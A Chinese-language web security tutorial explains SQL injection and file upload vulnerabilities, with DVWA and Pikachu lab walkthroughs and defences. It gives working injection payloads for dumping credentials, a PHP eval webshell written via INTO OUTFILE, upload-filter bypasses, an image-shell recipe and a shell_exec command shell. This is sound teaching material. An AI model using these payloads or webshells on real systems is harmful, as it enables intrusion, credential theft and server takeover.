SQL注入与文件上传漏洞:从原理到实战的Web安全攻防指南 1. 项目概述从两个经典漏洞看Web安全的攻防本质在Web安全领域有两个名字几乎无人不知无人不晓SQL注入和文件上传漏洞。它们就像安全攻防世界里的“倚天剑”和“屠龙刀”看似原理简单却威力巨大常年霸占OWASP Top 10榜单的前列。我从业十多年处理过无数安全事件发现绝大多数造成数据泄露、服务器沦陷的案例根源都绕不开这两者。很多人觉得现在框架成熟、安全意识提升这些“老掉牙”的漏洞应该很少见了。但现实恰恰相反由于业务场景的复杂化、开发人员的快速迭代以及第三方组件的滥用这两个漏洞以各种新的、隐蔽的形式持续活跃着。SQL注入的本质是攻击者将恶意的SQL代码“注入”到应用程序原本的数据库查询语句中从而欺骗数据库执行非预期的命令。这可能导致数据被窃取、篡改甚至删除。而文件上传漏洞则是由于应用程序对用户上传的文件缺乏严格的验证和过滤导致攻击者能够上传恶意脚本文件如Webshell到服务器进而获取系统控制权。更危险的是这两个漏洞常常“狼狈为奸”。就像网络热词中提到的“SQL注入上传文件获取shell”攻击者可以利用SQL注入的写文件功能直接向服务器写入一个Webshell一步到位完成从数据窃取到系统控制的全过程。无论是DVWA、Pikachu这样的入门靶场还是CTF比赛、真实世界的渗透测试熟练掌握这两个漏洞的原理、利用手法和防御策略都是一名安全从业者的基本功。接下来我将结合大量实战经验为你彻底拆解这两把“利刃”。2. SQL注入漏洞深度解析不仅仅是‘or ‘1’‘1很多人对SQL注入的理解还停留在“万能密码”admin or 11这个阶段。这固然是经典案例但真实的SQL注入世界远比这复杂和精彩。它的核心问题在于程序将用户输入的数据直接拼接到了SQL语句中并且没有进行任何有效的过滤或转义导致用户输入被解释为代码的一部分而非法据。2.1 SQL注入的类型与利用场景根据注入点参数的处理方式SQL注入主要分为以下几类理解它们对后续的利用至关重要数字型注入注入点的参数原本是整数。例如id1对应的SQL语句可能是SELECT * FROM articles WHERE id 1。攻击时通常不需要闭合引号直接使用id1 and 12进行逻辑判断即可。这在“数字型sql注入靶场”中是最基础的练习。字符型注入注入点的参数是字符串被单引号或双引号包裹。例如nameadmin对应SQL为SELECT * FROM users WHERE username admin。攻击时需要先闭合前面的引号再注入自己的代码最后处理掉后面的引号。例如nameadmin and 11最终语句变为SELECT * FROM users WHERE username admin and 11and ‘1’‘1恒为真从而绕过验证。CTFHub的“sql字符型注入”就是针对此的练习。搜索型注入常见于搜索功能参数通常被%包裹如SELECT * FROM products WHERE name LIKE %用户输入%。闭合方式更为复杂需要同时处理百分号和引号。报错注入当网站开启了数据库错误回显时攻击者可以故意构造让数据库执行出错的语句从而在错误信息中带出敏感数据。这是“sql注入-报错注入”的核心。利用函数如updatexml()、extractvalue()、floor()等。例如and updatexml(1, concat(0x7e, (SELECT user()), 0x7e), 1)数据库会执行错误并将SELECT user()的结果显示在报错信息里。盲注这是实战中最常见也最考验耐心的一种。网站不会直接显示数据或错误信息你只能通过页面返回的差异布尔盲注或响应时间时间盲注来一点点“盲猜”数据。dvwa sql注入的中高级别就是典型的盲注场景。实操心得判断注入类型是第一步。在参数后加一个单引号‘如果页面报错显示数据库错误很可能是字符型如果页面显示异常但无具体错误如内容消失可能是数字型或盲注。接着用and 11和and 12测试观察页面内容是否发生变化这是判断注入点是否可用的黄金法则。2.2 手工注入的完整流程以联合查询为例虽然工具有sqlmap这样的神器但理解手工注入流程是根本。我们以一个可回显数据的字符型注入点为例假设URL为http://target.com/news.php?id1判断注入点与类型访问http://target.com/news.php?id1‘。页面报错提示SQL语法错误初步判断为字符型。访问http://target.com/news.php?id1‘ and ‘1’‘1。页面正常显示。访问http://target.com/news.php?id1‘ and ‘1’‘2。页面无内容或报错。确认存在字符型注入。判断字段数列数 使用ORDER BY子句。ORDER BY 1表示按第一列排序如果该列存在页面正常如果不存在例如ORDER BY 10页面会报错。通过二分法快速试探。http://target.com/news.php?id1‘ order by 5-- http://target.com/news.php?id1‘ order by 3--假设order by 3正常order by 4错误则说明当前查询结果有3列。--是注释符用于注释掉原SQL语句中后面的引号和代码。确定回显点 使用UNION SELECT联合查询但前提是前后查询的列数必须一致。我们已知是3列。http://target.com/news.php?id-1‘ union select 1,2,3--这里把id设为-1一个不存在的值目的是让前一个查询结果为空从而页面直接显示我们union select的结果。观察页面原本显示新闻标题、内容的地方可能会变成数字2和3。这说明页面的第2和第3列是回显位我们可以把想要查询的数据放在这两个位置。获取数据库信息 将回显点替换为数据库函数。http://target.com/news.php?id-1‘ union select 1, database(), version()--页面可能会在相应位置显示当前数据库名和数据库版本。database()函数返回当前数据库名version()返回数据库版本user()返回当前数据库用户。爆表名、列名、数据 这是核心步骤需要查询数据库的元数据metadata表。以MySQL为例爆表名information_schema.tables存储了所有表的信息。http://target.com/news.php?id-1‘ union select 1,group_concat(table_name),3 from information_schema.tables where table_schemadatabase()--group_concat()函数将多行结果合并成一个字符串方便查看。这条语句会列出当前数据库中的所有表名。爆列名假设我们发现了users表接下来爆它的列名。information_schema.columns存储了所有列的信息。http://target.com/news.php?id-1‘ union select 1,group_concat(column_name),3 from information_schema.columns where table_schemadatabase() and table_name‘users’--爆数据假设users表有username和password列。http://target.com/news.php?id-1‘ union select 1,group_concat(username, ‘:’, password),3 from users--这样就能一次性获取所有用户的账号和密码。注意事项在实际“文章管理系统sql注入”或“avcon综合管理平台sql注入漏洞”这类场景中表名和列名可能不是常规的users、admin。需要根据业务逻辑进行猜测或利用information_schema耐心遍历。like操作符在“oracle 手工sql注入like”中常用于模糊匹配表名。2.3 高阶利用从注入到Getshell这是SQL注入最具威胁的利用方式之一即利用数据库的文件写功能向服务器写入一个Webshell。这需要满足几个严苛但并非罕见的条件正如网络资料中提到的“SQL注入写文件的三个必要条件”数据库用户具备FILE权限通常root用户或高权限用户拥有此权限。可以通过union select 1, super_priv, 3 from mysql.user where usercurrent_user()等方式查询。知道Web目录的绝对路径这是最大的难点。可以通过报错信息、网站源码泄露、配置文件泄露、扫描器探测等方式获取。例如一些PHP报错会显示路径。secure_file_priv参数允许写入MySQL中这个参数限制了INTO OUTFILE和LOAD_FILE能操作的目录。如果值为空则可写入任意目录如果为NULL则禁止文件操作如果为某个路径则只能写入该路径。可通过show global variables like ‘%secure_file_priv%’查询。假设条件满足攻击语句如下以MySQL为例SELECT * FROM some_table WHERE id‘1‘ UNION SELECT “?php eval($_POST[‘cmd‘]);?“, 2 INTO OUTFILE ‘/var/www/html/shell.php‘--这条语句将一句PHP一句话木马和数字2作为查询结果写入了Web目录下的shell.php文件。访问这个文件并用中国蚁剑等工具连接即可获得一个Web交互式Shell完全控制服务器。踩坑实录在Windows系统上路径分隔符是反斜杠\但在SQL语句中需要转义或使用正斜杠/如C:/wwwroot/shell.php。写入的内容必须被正确转义特别是引号。如果写入的Webshell无法执行检查文件权限是否可读和内容是否完整是否因为语句截断导致PHP代码不完整。3. 文件上传漏洞全面剖析绕过是门艺术如果说SQL注入是“内功”那么文件上传漏洞的利用就是“招式”充满了各种奇技淫巧。它的原理很简单服务器没有对用户上传的文件进行充分的检查包括文件类型、内容、后缀、大小等导致恶意文件被上传并存储到可访问的目录从而被攻击者执行。3.1 常见的检测与绕过手法一个合格的上传功能防御是层层递进的。攻击者的绕过手法也相应地“见招拆招”。前端JavaScript校验绕过检测点在文件选择后、表单提交前用JavaScript检查文件后缀名如.jpg,.png。绕过方法这是最弱的一环。直接禁用浏览器JavaScriptF12开发者工具-设置中禁用或者使用Burp Suite等代理工具拦截请求修改filename参数后直接放行即可。dvwa文件上传漏洞的Low级别就是这种。Content-TypeMIME类型校验绕过检测点服务器检查HTTP请求头中的Content-Type字段如image/jpeg、image/png。绕过方法同样使用代理工具拦截请求将Content-Type修改为允许的类型。例如上传一个.php文件将其Content-Type改为image/jpeg。文件后缀名扩展名黑/白名单校验绕过检测点服务器检查文件的后缀名。黑名单禁止如.php,.asp,.jsp等危险后缀白名单只允许如.jpg,.png,.gif等安全后缀。白名单比黑名单安全得多。绕过方法针对黑名单大小写绕过Php,pHP在Windows服务器上不区分大小写。双写/特殊后缀绕过.pphphp如果过滤逻辑是删除php字符串删除后变为.php、.php5、.phtml、.phps某些服务器配置仍会将这些解析为PHP。点号、空格、::$DATA绕过Windows特性shell.php.、shell.php末尾加点或空格Windows在保存文件时会自动去除、shell.php::$DATAWindows NTFS流特性实际保存为shell.php。解析漏洞这是杀手锏。例如IIS 6.0的/xx.asp;.jpg会被解析为.asp文件Apache的shell.php.jpg如果.jpg未被识别可能会继续向左解析若遇到AddHandler配置可能被解析为PHPNginx的畸形解析漏洞如/xx.jpg%00.php已在高版本修复。文件内容文件头校验绕过检测点服务器读取文件开头的几个字节魔数来判断真实类型。例如JPEG文件头是FF D8 FF E0PNG文件头是89 50 4E 47。绕过方法制作图片马。用copy命令Windows或cat命令Linux将一个真实的图片和一个Webshell合并copy normal.jpg /b shell.php /a webshell.jpg。这样文件既有合法的图片头又包含PHP代码。能否执行取决于服务器是否严格检测文件内容尾部以及是否存在文件包含漏洞。如果服务器存在文件包含漏洞如include($_GET[‘file‘])攻击者可以上传图片马然后通过包含这个图片文件来执行其中的PHP代码。二次渲染绕过检测点最严格的防御。服务器对上传的图片进行真正的重采样、压缩、裁剪等操作二次渲染会破坏嵌入在图片像素数据中的恶意代码。绕过方法难度极高。需要研究特定图片格式如GIF、PNG的编码结构找到一些在二次渲染后仍能保留数据的“盲区”将PHP代码精心嵌入这些位置。这通常需要针对特定的图像处理库如GD库进行深入研究。3.2 文件上传漏洞的实战利用链条单独的文件上传漏洞可能无法直接getshell但结合其他漏洞就能形成致命的攻击链。上传解析漏洞如前所述利用服务器如旧版IIS、Nginx、Apache的解析特性让一个看似图片的文件被当作脚本执行。上传文件包含这是非常经典的组合拳。先上传一个内容为?php phpinfo();?的test.jpg图片马。然后网站存在本地文件包含LFI漏洞http://target.com/index.php?pageuploads/test.jpg。当page参数被include函数包含时test.jpg中的PHP代码就会被执行。上传条件竞争有些服务器采用“先保存后检查”的策略。即先将文件保存到临时目录然后进行安全检查如果不通过再删除。攻击者可以快速、连续地上传同一个恶意文件并同时用另一个线程疯狂访问这个文件。在检查程序还没来得及删除文件的极短时间内如果访问请求成功执行了恶意文件攻击就成功了。配合SQL注入写Shell这就是我们开头提到的场景。当SQL注入点具备写文件权限且知道Web路径时可以直接通过注入语句写入Webshell完全绕过前端的上传表单和后端的文件检查逻辑是“降维打击”。实操心得在“请对dvwa靶场的文件上传漏洞模块进行练习编写文档描述medium3种方法”这类练习中Medium级别通常启用了服务端后缀名检查黑名单和MIME类型检查。绕过方法可以是1. 将shell.php改为shell.php5如果黑名单未包含。2. 使用Burp修改Content-Type为image/jpeg。3. 制作图片马并利用文件包含漏洞执行。实战中信息收集是关键要弄清楚服务器是什么Apache/Nginx/IIS、用什么语言PHP/Java/.NET、有没有使用特定的中间件或框架这些信息直接决定了哪种绕过方法可能生效。4. 靶场实战通关精讲以Pikachu和DVWA为例理论说得再多不如亲手练一遍。Pikachu和DVWADamn Vulnerable Web Application是两个极佳的、涵盖全面的Web漏洞练习平台。我们来拆解其中关于SQL注入和文件上传的关键关卡。4.1 Pikachu靶场SQL注入通关要点Pikachu的SQL注入关卡设计由浅入深非常系统。数字型注入通常出现在id这样的参数。直接使用and 11和and 12测试逻辑真假无需闭合引号。利用union select爆数据。字符型注入需要判断闭合符号是单引号‘、双引号“还是括号()或者是它们的组合。例如“insert/update注入”关卡注入点在更新语句中需要构造如admin‘ and updatexml(...) #这样的payload来报错获取信息。搜索型注入在搜索框尝试输入%‘观察回显。闭合语句可能形如%用户输入%‘ and ‘1‘‘1‘ and ‘%‘ like ‘%。xx型注入特指各种编码、宽字节等绕过。例如“宽字节注入”利用GBK等编码特性使单引号的转义符\%5c与前面的字符如%df组合成一个合法汉字从而“吃掉”转义符让后面的单引号逃逸出来。Payload如id%df‘ and 11 #。“insert/update”注入这类注入点不在WHERE子句而在INSERT或UPDATE的VALUES中。利用方法是构造插入的数据本身包含注入语句或者利用子查询。例如在注册用户时用户名填写admin‘ and (select extractvalue(1,concat(0x7e,(select database())))) #有时可以触发报错注入。“delete”注入注入点在DELETE语句的WHERE子句通常发生在删除文章、评论的功能。利用方式与SELECT型类似但要注意DELETE操作没有回显点通常使用盲注或报错注入。“http header”注入注入点不在URL或表单而在HTTP请求头中如User-Agent、X-Forwarded-For、Cookie。服务器可能将这些头信息记录到数据库。攻击方式是在这些字段中插入恶意SQL代码。避坑技巧在Pikachu的“盲注”关卡手动注入效率极低。这里正是学习使用sqlmap工具的最佳时机。使用sqlmap -u “http://靶场地址/vul/sqli/sqli_blind_b.php?nameadminsubmit查询“ --techniqueB --current-db可以快速进行基于布尔的盲注。但务必理解sqlmap背后发送的每一个payload这才是手工注入练习的意义。4.2 DVWA靶场文件上传漏洞练习Medium级别三种方法DVWA的File Upload模块Medium级别增加了服务端检查黑名单过滤了.php、.php5、.phtml等后缀并检查$_FILES[‘uploaded‘][‘type‘]即MIME类型。方法一利用未过滤的后缀名检查黑名单。尝试上传.php3、.php4、.php7、.phar、.inc等。发现.phar可能未被过滤取决于具体版本配置。将Webshell内容写入一个文件命名为shell.phar。直接上传。如果服务器配置了.phar文件由PHP解析则上传成功访问即可getshell。方法二修改MIME类型绕过准备一个.php文件内容为?php phpinfo();?。打开Burp Suite开启代理拦截。在浏览器中选择该文件并上传。在Burp中拦截到POST请求找到Content-Type: application/octet-stream。将其修改为Content-Type: image/jpeg。放行请求。此时服务器检查MIME类型通过但检查后缀名.php失败此方法单独使用无效。需要结合方法一或三。方法三制作图片马并结合文件包含漏洞这是最通用、最贴近实战的方法。DVWA的File Inclusion模块与Upload模块是联动的。制作图片马在命令行执行copy dvwa_logo.jpg /b shell.php /a shell.jpg。其中shell.php内容为?php echo ‘pre‘ . shell_exec($_GET[‘cmd‘]) . ‘/pre‘; ?。上传图片马在Upload模块上传shell.jpg。由于它是合法的jpg文件且MIME类型也正确会顺利通过所有检查上传成功。服务器返回文件路径如../../hackable/uploads/shell.jpg。利用文件包含执行切换到DVWA的File Inclusion模块将安全级别调至Low。在page参数中输入图片马的相对路径并添加命令参数http://靶场地址/vulnerabilities/fi/?page../../hackable/uploads/shell.jpgcmdwhoami。如果包含成功页面将显示执行whoami命令的结果证明图片马中的PHP代码已被执行。注意事项DVWA Medium级别的文件包含本身有../过滤但通常只过滤一次使用....//或....\/等双写绕过可以穿越目录。shell.jpg中的代码要简洁避免因图片文件被部分读取而破坏PHP标签的完整性。system()或shell_exec()函数可能被禁用可以尝试passthru()、exec()或反引号。5. 防御之道从根源上杜绝漏洞攻击手段千变万化但稳固的防御体系建立在几个核心原则上。理解了攻击才能更好地防御。5.1 SQL注入防御的层层设防使用参数化查询预编译语句这是唯一从根本上杜绝SQL注入的方法。它让SQL语句的“结构”和“数据”分离。数据库先编译带占位符的SQL模板如SELECT * FROM users WHERE username ?然后再将用户输入的数据作为“参数”传入。此时即使用户输入包含‘ or ‘1’‘1数据库也只会将其视为一个普通的字符串数据而不会解释为SQL代码。所有主流语言PHP的PDO/MySQLiJava的PreparedStatementPython的sqlite3/cx_Oracle等都支持。// PHP PDO 示例 $stmt $pdo-prepare(“SELECT * FROM users WHERE email :email AND status:status“); $stmt-execute([‘email‘ $email, ‘status‘ $status]); $user $stmt-fetch();核心要点不要使用字符串拼接来构建SQL语句永远使用参数化查询。对输入进行严格的过滤和转义如果因历史遗留问题无法全面使用预编译则必须对输入进行过滤。但这不是首选方案。白名单过滤对于已知固定范围的数据如性别、状态码使用白名单验证。转义特殊字符使用数据库驱动提供的专用转义函数如mysqli_real_escape_string()针对MySQL。但要注意它并非万能且与数据库字符集有关存在宽字节注入等绕过风险。最小权限原则为数据库连接账户分配最小必要的权限。禁止使用root等超级管理员账户连接Web应用。通常只赋予SELECT、INSERT、UPDATE、DELETE等业务必需权限坚决杜绝FILE、GRANT OPTION、SHUTDOWN等危险权限。这样即使发生注入攻击者也无法执行写文件、管理用户等破坏性操作。避免详细的错误信息关闭生产环境的数据库错误回显使用自定义的错误页面。防止攻击者通过报错信息获取数据库结构、路径等敏感信息。使用Web应用防火墙在应用层部署WAF可以拦截常见的SQL注入攻击特征。但这只是一种缓解措施不能替代安全的代码。5.2 文件上传漏洞的终极防御方案白名单验证文件扩展名这是最重要的一步。只允许一组明确的、安全的扩展名列表如.jpg,.png,.pdf。拒绝任何不在列表中的文件。绝对不要使用黑名单因为总有你没想到的后缀。校验文件内容MIME类型和魔数不仅检查客户端传来的Content-Type极易伪造更要通过读取文件头部的魔数来判断文件的真实类型。例如一个文件后缀是.jpg但魔数显示是PKZIP文件则应拒绝。重命名上传的文件不要使用用户上传的文件名。使用随机生成的字符串如UUID作为存储的文件名并保留原始扩展名如果是白名单内的。例如a1b2c3d4.jpg。这可以防止目录遍历、覆盖已有文件等攻击。设置独立的存储域和目录将上传的文件存储在Web根目录之外。这样即使恶意文件被上传也无法通过URL直接访问。如果必须Web访问可以设置一个独立的、无执行权限的域名或目录来存放静态文件。并通过后端脚本如readfile.php来安全地读取和输出文件内容而不是直接执行。限制文件大小和频率防止DoS攻击。对图片进行二次渲染对于图片文件使用安全的图形处理库如GD、ImageMagick进行缩放、裁剪或格式转换。这个过程会彻底重构图片文件能有效清除嵌入在图片数据中的恶意代码。这是防御图片马最有效的手段。定期进行安全扫描和代码审计使用静态代码分析工具检查项目中的文件上传逻辑并定期对上传目录进行恶意文件扫描。6. 高级话题与实战中的疑难杂症在真实的渗透测试和CTF比赛中你会遇到各种“缝合怪”和“变形金刚”。6.1 SQL注入的“花式”绕过注释符与空白符绕过--后面有空格、#、/*...*/。某些WAF可能只检测常见的--可以尝试--%20、#的URL编码%23或用/**/代替空格。编码与大小写绕过UNION-uNIoNSELECT-SeLeCt。或者对关键字进行双重URL编码SELECT-%53%45%4c%45%43%54。等价函数/语句替换substring()可以用mid()、substr()替代sleep()可以用benchmark()替代and可以用替代or可以用||替代。特殊符号干扰在关键字中插入注释/*!50000select*/MySQL特性或插入换行符%0a、%0d可能绕过一些简单的正则匹配。数据库特性利用如“如何绕过mybatis#号进行sql注入”在MyBatis中#{}是预编译安全的但${}是字符串拼接存在注入风险。如果开发错误地使用了${}就可能产生注入。6.2 文件上传的“奇淫技巧”.htaccess文件攻击Apache如果服务器允许上传.htaccess文件攻击者可以上传一个包含AddType application/x-httpd-php .jpg的.htaccess文件。这会强制该目录下所有.jpg文件都被当作PHP解析。防御方法是禁止上传或覆盖.htaccess文件。Windows特性利用除了::$DATA还有shell.php. .点空格点等绕过方式依赖于Windows文件系统API的解析特性。内容检测绕过高级对于检测文件内容是否包含?php标签的防御可以使用短标签?、script language“php“或者用JavaScript、VBScript等方式编码/混淆Webshell代码。组合漏洞利用没有直接的上传点也许可以通过“SQL注入写文件”创造上传路径不知道也许“报错注入”或“XXE漏洞”能泄露出来上传了无法访问也许存在“任意文件读取”漏洞可以读取它。安全是一个整体漏洞往往是串联利用的。6.3 工具使用与自动化思维手工注入是基础但效率低下。在授权测试中合理使用工具是专业的表现。sqlmapSQL注入自动化检测和利用的神器。核心在于理解其参数。-u “URL“指定目标。--data“POST数据“测试POST请求。--cookie“...“携带Cookie用于需要登录的页面。--level和--risk提高检测等级和风险等级尝试更多payload。--techniqueB/E/U/S/T/Q指定注入技术布尔盲注/报错/联合查询/...。--os-shell在具备条件时尝试一键获取操作系统交互式shell这通常需要写文件权限和绝对路径。重要原则永远先在测试环境或靶场练习理解每个参数的意义和它发出的请求避免对生产环境造成破坏。Burp Suite 上传漏洞扫描插件Burp的Intruder模块可以用于暴力猜解上传后的文件名或测试各种绕过payload。一些社区插件如Upload Scanner可以辅助检测上传漏洞。中国蚁剑/冰蝎/Cobalt Strike这些是Webshell管理工具或后渗透平台。在成功上传Webshell后用于连接和管理。它们提供文件管理、虚拟终端、数据库管理、内网穿透等强大功能。切记这些工具只能用于授权的安全测试和教学研究。我个人的体会是SQL注入和文件上传漏洞之所以经久不衰根源在于“信任”与“验证”的不对等。开发者总是倾向于信任用户的输入是善意的、格式正确的而安全从业者必须假设所有输入都是恶意的、精心构造的。防御的核心思路就是将对用户的“信任”转变为对每一份输入数据的“强制验证”。把参数化查询和文件上传的白名单策略变成肌肉记忆在代码审查时对任何一处字符串拼接的SQL和未经验证的文件上传功能保持高度警惕这才是从根源上筑起安全防线的唯一途径。最后分享一个小技巧在搭建自己的测试环境时除了DVWA、Pikachu还可以尝试WebGoat、bWAPP、HackTheBox上的挑战它们能带你接触到更接近真实世界的、复杂的漏洞组合场景。